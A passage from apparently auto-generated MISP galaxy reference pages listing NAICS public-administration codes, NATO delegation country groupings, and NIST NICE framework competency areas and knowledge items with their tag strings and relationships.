The tag is: *misp-galaxy:naics="9261"*

View relationships graph

9261 has relationships with:

- child-of: misp-galaxy:naics="926" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92613" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92614" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926140" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92615" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="926150" with estimative-language:likelihood-probability="likely"

92611

Administration of General Economic Programs

The tag is: *misp-galaxy:naics="92611"*

View relationships graph

92611 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="926110" with estimative-language:likelihood-probability="likely"

926110

Administration of General Economic Programs

The tag is: *misp-galaxy:naics="926110"*

View relationships graph

926110 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92611" with estimative-language:likelihood-probability="likely"

92612

Regulation and Administration of Transportation Programs

The tag is: *misp-galaxy:naics="92612"*

View relationships graph

92612 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="926120" with estimative-language:likelihood-probability="likely"

926120

Regulation and Administration of Transportation Programs

The tag is: *misp-galaxy:naics="926120"*

View relationships graph

926120 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92612" with estimative-language:likelihood-probability="likely"

92613

Regulation and Administration of Communications, Electric, Gas, and Other Utilities

The tag is: *misp-galaxy:naics="92613"*

View relationships graph

92613 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="926130" with estimative-language:likelihood-probability="likely"

926130

Regulation and Administration of Communications, Electric, Gas, and Other Utilities

The tag is: *misp-galaxy:naics="926130"*

View relationships graph

926130 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92613" with estimative-language:likelihood-probability="likely"

92614

Regulation of Agricultural Marketing and Commodities

The tag is: *misp-galaxy:naics="92614"*

View relationships graph

92614 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="926140" with estimative-language:likelihood-probability="likely"

926140

Regulation of Agricultural Marketing and Commodities

The tag is: *misp-galaxy:naics="926140"*

View relationships graph

926140 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92614" with estimative-language:likelihood-probability="likely"

92615

Regulation, Licensing, and Inspection of Miscellaneous Commercial Sectors

The tag is: *misp-galaxy:naics="92615"*

View relationships graph

92615 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="926150" with estimative-language:likelihood-probability="likely"

926150

Regulation, Licensing, and Inspection of Miscellaneous Commercial Sectors

The tag is: *misp-galaxy:naics="926150"*

View relationships graph

926150 has relationships with:

- child-of: misp-galaxy:naics="9261" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92615" with estimative-language:likelihood-probability="likely"

927

Space Research and Technology

The tag is: *misp-galaxy:naics="927"*

View relationships graph

927 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"

9271

Space Research and Technology

The tag is: *misp-galaxy:naics="9271"*

View relationships graph

9271 has relationships with:

- child-of: misp-galaxy:naics="927" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="927110" with estimative-language:likelihood-probability="likely"

92711

Space Research and Technology

The tag is: *misp-galaxy:naics="92711"*

View relationships graph

92711 has relationships with:

- child-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="927110" with estimative-language:likelihood-probability="likely"

927110

Space Research and Technology

The tag is: *misp-galaxy:naics="927110"*

View relationships graph

927110 has relationships with:

- child-of: misp-galaxy:naics="9271" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92711" with estimative-language:likelihood-probability="likely"

928

National Security and International Affairs

The tag is: *misp-galaxy:naics="928"*

View relationships graph

928 has relationships with:

- child-of: misp-galaxy:naics="92" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"

9281

National Security and International Affairs

The tag is: *misp-galaxy:naics="9281"*

View relationships graph

9281 has relationships with:

- child-of: misp-galaxy:naics="928" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="928110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="92812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="928120" with estimative-language:likelihood-probability="likely"

92811

National Security

The tag is: *misp-galaxy:naics="92811"*

View relationships graph

92811 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="928110" with estimative-language:likelihood-probability="likely"

928110

National Security

The tag is: *misp-galaxy:naics="928110"*

View relationships graph

928110 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92811" with estimative-language:likelihood-probability="likely"

92812

International Affairs

The tag is: *misp-galaxy:naics="92812"*

View relationships graph

92812 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="928120" with estimative-language:likelihood-probability="likely"

928120

International Affairs

The tag is: *misp-galaxy:naics="928120"*

View relationships graph

928120 has relationships with:

- child-of: misp-galaxy:naics="9281" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="92812" with estimative-language:likelihood-probability="likely"

NATO

The North Atlantic Treaty Organization, also called the North Atlantic Alliance, is an intergovernmental transnational military alliance of 32 member states—30 European and 2 North American. Established in the aftermath of World War II, the organization implements the North Atlantic Treaty, signed in Washington, D.C., on 4 April 1949. NATO is a collective security system: its independent member states agree to defend each other against attacks by third parties. .

NATO is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NATO

Member Delegations

The tag is: *misp-galaxy:nato="Member Delegations"*

View relationships graph

Member Delegations has relationships with:

- includes: misp-galaxy:country="albania" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="belgium" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="bulgaria" with estimative-language:likelihood-

probability="almost-certain"

- includes: misp-galaxy:country="canada" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="croatia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="czechia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="denmark" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="estonia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="finland" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="france" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="germany" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="greece" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="hungary" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="iceland" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="italy" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="latvia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="lithuania" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="luxembourg" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="montenegro" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="netherlands" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="north macedonia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="norway" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="poland" with estimative-language:likelihood-

probability="almost-certain"

- includes: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="romania" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="slovakia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="slovenia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="spain" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="sweden" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="almost-certain"

NATO Candidate Delegations

The tag is: *misp-galaxy:nato="NATO Candidate Delegations"*

View relationships graph

NATO Candidate Delegations has relationships with:

- includes: misp-galaxy:country="bosnia and herzegovina" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="georgia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="almost-certain"

Associate Delegations

The tag is: *misp-galaxy:nato="Associate Delegations"*

View relationships graph

Associate Delegations has relationships with:

- includes: misp-galaxy:country="armenia" with estimative-language:likelihood-

probability="almost-certain"

- includes: misp-galaxy:country="kosovo" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="austria" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="malta" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="moldova" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="almost-certain"

Regional Partner and Mediterranean Associate Member Delegations

The tag is: *misp-galaxy:nato="Regional Partner and Mediterranean Associate Member Delegations"*

View relationships graph

Regional Partner and Mediterranean Associate Member Delegations has relationships with:

- includes: misp-galaxy:country="algeria" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="israel" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="jordan" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="almost-certain"

European Parliament Delegation

The tag is: *misp-galaxy:nato="European Parliament Delegation"*

Parliamentary Observer Delegations

The tag is: *misp-galaxy:nato="Parliamentary Observer Delegations"*

View relationships graph

Parliamentary Observer Delegations has relationships with:

- includes: misp-galaxy:country="australia" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="egypt" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="japan" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="kazakhstan" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="palestinian territory" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="south korea" with estimative-language:likelihood-probability="almost-certain"
- includes: misp-galaxy:country="tunisia" with estimative-language:likelihood-probability="almost-certain"

Inter-Parliamentary Assembly Delegations

The tag is: *misp-galaxy:nato="Inter-Parliamentary Assembly Delegations"*

NICE Competency areas

Competency areas based on the NIST NICE framework.

NICE Competency areas is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIST - Jean-Louis Huynen

This Competency Area describes a learner's capabilities to improve and maintain the security of Operational Technology (OT) systems while addressing t - NF-COM-010

This Competency Area describes a learner's capabilities to improve and maintain the security of Operational Technology (OT) systems while addressing their unique performance, reliability, and safety requirements.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner's capabilities to improve and maintain the security of Operational Technology (OT) systems*

while addressing t - NF-COM-010"

This Competency Area describes a learner’s capabilities to analyze and control digital and physical risks presented by technology products or services - NF-COM-011

This Competency Area describes a learner’s capabilities to analyze and control digital and physical risks presented by technology products or services purchased from parties outside your organization.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to analyze and control digital and physical risks presented by technology products or services - NF-COM-011"*

This Competency Area describes a learner’s capabilities to install, administer, troubleshoot, backup, and conduct recovery of Operating Systems (OS), - NF-COM-009

This Competency Area describes a learner’s capabilities to install, administer, troubleshoot, backup, and conduct recovery of Operating Systems (OS), including in simulated environments.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to install, administer, troubleshoot, backup, and conduct recovery of Operating Systems (OS), - NF-COM-009"*

This Competency Area describes a learner’s capability related to architecting, designing, developing, implementing, and maintaining the trustworthines - NF-COM-007

This Competency Area describes a learner’s capability related to architecting, designing, developing, implementing, and maintaining the trustworthiness of systems that use or are enabled by cyber resources in order to anticipate, withstand, recover from, and adapt to adverse conditions, stresses, attacks, or compromises that use or are enabled by cyber resources.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capability related to architecting, designing, developing, implementing, and maintaining the trustworthines - NF-COM-007"*

This Competency Area describes a learner’s capabilities to integrate security as a shared responsibility throughout the development, security, and ope - NF-COM-008

This Competency Area describes a learner’s capabilities to integrate security as a shared responsibility throughout the development, security, and operations (DevSecOps) life cycle of technologies.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to integrate security as a shared responsibility throughout the development, security, and ope - NF-COM-008"*

This Competency Area describes a learner’s capabilities to secure the transmissions, broadcasting, switching, control, and operation of communications - NF-COM-005

This Competency Area describes a learner’s capabilities to secure the transmissions, broadcasting, switching, control, and operation of communications and related network infrastructures.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to secure the transmissions, broadcasting, switching, control, and operation of communications - NF-COM-005"*

This Competency Area describes a learner’s capabilities to transform data using cryptographic processes to ensure it can only be read by the person wh - NF-COM-006

This Competency Area describes a learner’s capabilities to transform data using cryptographic processes to ensure it can only be read by the person who is authorized to access it.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to transform data using cryptographic processes to ensure it can only be read by the person wh - NF-COM-006"*

This Competency Area describes a learner’s capabilities to conduct and maintain an accurate inventory of all digital assets, to include identifying, d - NF-COM-003

This Competency Area describes a learner’s capabilities to conduct and maintain an accurate inventory of all digital assets, to include identifying, developing, operating, maintaining, upgrading, and disposing of assets.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to conduct and maintain an accurate inventory of all digital assets, to include identifying, d - NF-COM-003"*

This Competency Area describes a learner’s capabilities to protect cloud data, applications, and infrastructure from internal and external threats. - NF-COM-004

This Competency Area describes a learner’s capabilities to protect cloud data, applications, and infrastructure from internal and external threats.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to protect cloud data, applications, and infrastructure from internal and external threats. - NF-COM-004"*

This Competency Area describes a learner’s capabilities to define, manage, and monitor the roles and secure access privileges of who is authorized to - NF-COM-001

This Competency Area describes a learner’s capabilities to define, manage, and monitor the roles and secure access privileges of who is authorized to access protected data and resources and understand the impact of different types of access controls.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to define, manage, and monitor the roles and secure access privileges of who is authorized to - NF-COM-001"*

This Competency Area describes a learner’s capabilities to secure Artificial Intelligence (AI) against cyberattacks, to ensure it is adequately contai - NF-COM-002

This Competency Area describes a learner’s capabilities to secure Artificial Intelligence (AI) against cyberattacks, to ensure it is adequately contained where it is used, and to mitigate the threat AI presents where it or its users have malicious intent.

The tag is: *misp-galaxy:nice-framework-competency_areas="This Competency Area describes a learner’s capabilities to secure Artificial Intelligence (AI) against cyberattacks, to ensure it is adequately contai - NF-COM-002"*

NICE Knowledges

Knowledge based on the NIST NICE framework.

NICE Knowledges is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIST - Jean-Louis Huynen

Knowledge of ingress filtering tools and techniques - K1082

Knowledge of ingress filtering tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of ingress filtering tools and techniques - K1082"*

Knowledge of risk assessment tools and techniques - K1078

Knowledge of risk assessment tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk assessment tools and techniques - K1078"*

Knowledge of life cycle development milestones - K0670

Knowledge of life cycle development milestones

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of life cycle development milestones - K0670"*

Knowledge of contractor management - K0669

Knowledge of contractor management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of contractor management - K0669"*

Knowledge of contract management - K0668

Knowledge of contract management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of contract management - K0668"*

Knowledge of software asset management principles and practices - K1074

Knowledge of software asset management principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software asset management principles and practices - K1074"*

Knowledge of continuous monitoring processes - K1071

Knowledge of continuous monitoring processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of continuous monitoring processes - K1071"*

Knowledge of contracts - K0667

Knowledge of contracts

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of contracts - K0667"*

Knowledge of system security plans - K0666

Knowledge of system security plans

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system security plans - K0666"*

Knowledge of stakeholder management - K0664

Knowledge of stakeholder management

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of stakeholder management - K0664"*

Knowledge of industry standards and best practices - K0663

Knowledge of industry standards and best practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of industry standards and best practices - K0663"*

Knowledge of systems security engineering - K0662

Knowledge of systems security engineering

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of systems security engineering - K0662"*

Knowledge of reauthorization processes - K0661

Knowledge of reauthorization processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of reauthorization processes - K0661"*

Knowledge of appropriate use policies and procedures - K0660

Knowledge of appropriate use policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of appropriate use policies and procedures - K0660"*

Knowledge of risk tolerance principles and practices - K0822

Knowledge of risk tolerance principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of risk tolerance principles and practices - K0822"*

Knowledge of cybersecurity engineering - K1133

Knowledge of cybersecurity engineering

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity engineering - K1133"*

Knowledge of organizational policy and procedures - K1189

Knowledge of organizational policy and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational policy and procedures - K1189"*

Knowledge of market research tools and techniques - K0641

Knowledge of market research tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of market research tools and techniques - K0641"*

Knowledge of pricing structures - K0642

Knowledge of pricing structures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of pricing structures - K0642"*

Knowledge of supplier assessment criteria - K0650

Knowledge of supplier assessment criteria

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of supplier assessment criteria - K0650"*

Knowledge of trustworthiness principles - K0651

Knowledge of trustworthiness principles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of trustworthiness principles - K0651"*

Knowledge of incident response policies and procedures - K0823

Knowledge of incident response policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident response policies and procedures - K0823"*

Knowledge of incident response roles and responsibilities - K0824

Knowledge of incident response roles and responsibilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of incident response roles and responsibilities - K0824"*

Knowledge of sustainment principles and practices - K0912

Knowledge of sustainment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of sustainment principles and practices - K0912"*

Knowledge of sustainment processes - K0913

Knowledge of sustainment processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of sustainment processes - K0913"*

Knowledge of system life cycles - K1225

Knowledge of system life cycles

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system life cycles - K1225"*

Knowledge of continuous monitoring tools and techniques - K1125

Knowledge of continuous monitoring tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of continuous monitoring tools and techniques - K1125"*

Knowledge of continuous monitoring scoring and grading metrics - K1124

Knowledge of continuous monitoring scoring and grading metrics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of continuous monitoring scoring and grading metrics - K1124"*

Knowledge of continuous monitoring principles and practices - K1123

Knowledge of continuous monitoring principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of continuous monitoring principles and practices - K1123"*

Knowledge of cybersecurity objectives - K1135

Knowledge of cybersecurity objectives

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity objectives - K1135"*

Knowledge of information architecture principles and practices - K1166

Knowledge of information architecture principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information architecture principles and practices - K1166"*

Knowledge of enterprise cybersecurity architecture - K1156

Knowledge of enterprise cybersecurity architecture

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of enterprise cybersecurity architecture - K1156"*

Knowledge of organizational evaluation and validation requirements - K1185

Knowledge of organizational evaluation and validation requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational evaluation and validation requirements - K1185"*

Knowledge of organizational risk levels - K1190

Knowledge of organizational risk levels

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organizational risk levels - K1190"*

Knowledge of project plans and schedules - K1202

Knowledge of project plans and schedules

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of project plans and schedules - K1202"*

Knowledge of programming languages - K1201

Knowledge of programming languages

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of programming languages - K1201"*

Knowledge of system characteristics - K1224

Knowledge of system characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of system characteristics - K1224"*

Knowledge of software application, system, and network requirements - K1218

Knowledge of software application, system, and network requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of software application, system, and network requirements - K1218"*

Knowledge of user interfaces - K1234

Knowledge of user interfaces

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of user interfaces - K1234"*

Knowledge of intelligence data gathering principles and practices - K0944

Knowledge of intelligence data gathering principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence data gathering*

principles and practices - K0944"

Knowledge of intelligence data gathering policies and procedures - K0945

Knowledge of intelligence data gathering policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence data gathering policies and procedures - K0945"*

Knowledge of foreign disclosure policies and procedures - K0954

Knowledge of foreign disclosure policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of foreign disclosure policies and procedures - K0954"*

Knowledge of privacy disclosure statement laws and regulations - K1070

Knowledge of privacy disclosure statement laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy disclosure statement laws and regulations - K1070"*

Knowledge of security awareness programs - K0638

Knowledge of security awareness programs

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of security awareness programs - K0638"*

Knowledge of virtual learning environments - K0643

Knowledge of virtual learning environments

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of virtual learning environments - K0643"*

Knowledge of target audience requirements - K0654

Knowledge of target audience requirements

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target audience requirements - K0654"*

Knowledge of information privacy technologies - K0659

Knowledge of information privacy technologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of information privacy technologies - K0659"*

Knowledge of cognitive domain models and frameworks - K0801

Knowledge of cognitive domain models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cognitive domain models and frameworks - K0801"*

Knowledge of instructional design principles and practices - K0885

Knowledge of instructional design principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of instructional design principles and practices - K0885"*

Knowledge of instructional design models and frameworks - K0886

Knowledge of instructional design models and frameworks

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of instructional design models and frameworks - K0886"*

Knowledge of Bloom’s Taxonomy learning levels - K0888

Knowledge of Bloom’s Taxonomy learning levels

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Bloom’s Taxonomy learning levels - K0888"*

Knowledge of learning management system (LMS) systems and software - K0889

Knowledge of learning management system (LMS) systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of learning management system (LMS) systems and software - K0889"*

Knowledge of learning modes - K0890

Knowledge of learning modes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of learning modes - K0890"*

Knowledge of media production tool and techniques - K0905

Knowledge of media production tool and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of media production tool and techniques - K0905"*

Knowledge of needs assessment principles and practices - K0910

Knowledge of needs assessment principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of needs assessment principles and practices - K0910"*

Knowledge of cybersecurity competitions - K1083

Knowledge of cybersecurity competitions

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of cybersecurity competitions - K1083"*

Knowledge of federal and state accreditation standards - K1160

Knowledge of federal and state accreditation standards

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of federal and state accreditation standards - K1160"*

Knowledge of organzational privacy policies and procedures - K1192

Knowledge of organzational privacy policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of organzational privacy policies and procedures - K1192"*

Knowledge of privacy and data security regulators - K1198

Knowledge of privacy and data security regulators

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy and data security regulators - K1198"*

Knowledge of privacy technologies - K1200

Knowledge of privacy technologies

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of privacy technologies - K1200"*

Knowlege of privacy laws and regulations - K1240

Knowlege of privacy laws and regulations

The tag is: *misp-galaxy:nice-framework-knowledges="Knowlege of privacy laws and regulations - K1240"*

Knowledge of all-source intelligence reporting policies and procedures - K0964

Knowledge of all-source intelligence reporting policies and procedures

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of all-source intelligence reporting policies and procedures - K0964"*

Knowledge of post implementation review (PIR) processes - K1027

Knowledge of post implementation review (PIR) processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of post implementation review (PIR) processes - K1027"*

Knowledge of approved intelligence dissemination processes - K0359

Knowledge of approved intelligence dissemination processes

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of approved intelligence dissemination processes - K0359"*

Knowledge of language processing tools and techniques - K0476

Knowledge of language processing tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of language processing tools and techniques - K0476"*

Knowledge of target communication tools and techniques - K0540

Knowledge of target communication tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target communication tools and techniques - K0540"*

Knowledge of language analysis tools and techniques - K0965

Knowledge of language analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of language analysis tools and techniques - K0965"*

Knowledge of voice analysis tools and techniques - K0966

Knowledge of voice analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of voice analysis tools and techniques - K0966"*

Knowledge of graphic materials analysis tools and techniques - K0967

Knowledge of graphic materials analysis tools and techniques

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of graphic materials analysis tools and techniques - K0967"*

Knowledge of intelligence collection systems and software - K0981

Knowledge of intelligence collection systems and software

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of intelligence collection systems and software - K0981"*

Knowledge of target language - K1034

Knowledge of target language

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target language - K1034"*

Knowledge of target cultural references - K1039

Knowledge of target cultural references

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target cultural references - K1039"*

Knowledge of the collection process feedback cycle - K1053

Knowledge of the collection process feedback cycle

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of the collection process feedback cycle - K1053"*

Knowledge of language analysis principles and practices - K1056

Knowledge of language analysis principles and practices

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of language analysis principles and practices - K1056"*

Knowledge of Interactive On-Net (ION) operator roles and responsibilities - K1057

Knowledge of Interactive On-Net (ION) operator roles and responsibilities

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of Interactive On-Net (ION) operator roles and responsibilities - K1057"*

Knowledge of foreign languages and dialects - K1162

Knowledge of foreign languages and dialects

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of foreign languages and dialects - K1162"*

Knowledge of target communication network characteristics - K1229

Knowledge of target communication network characteristics

The tag is: *misp-galaxy:nice-framework-knowledges="Knowledge of target communication network characteristics - K1229"*

Knowledge of target communications tools and techniques - K1230

Knowledge of target communications tools and techniques

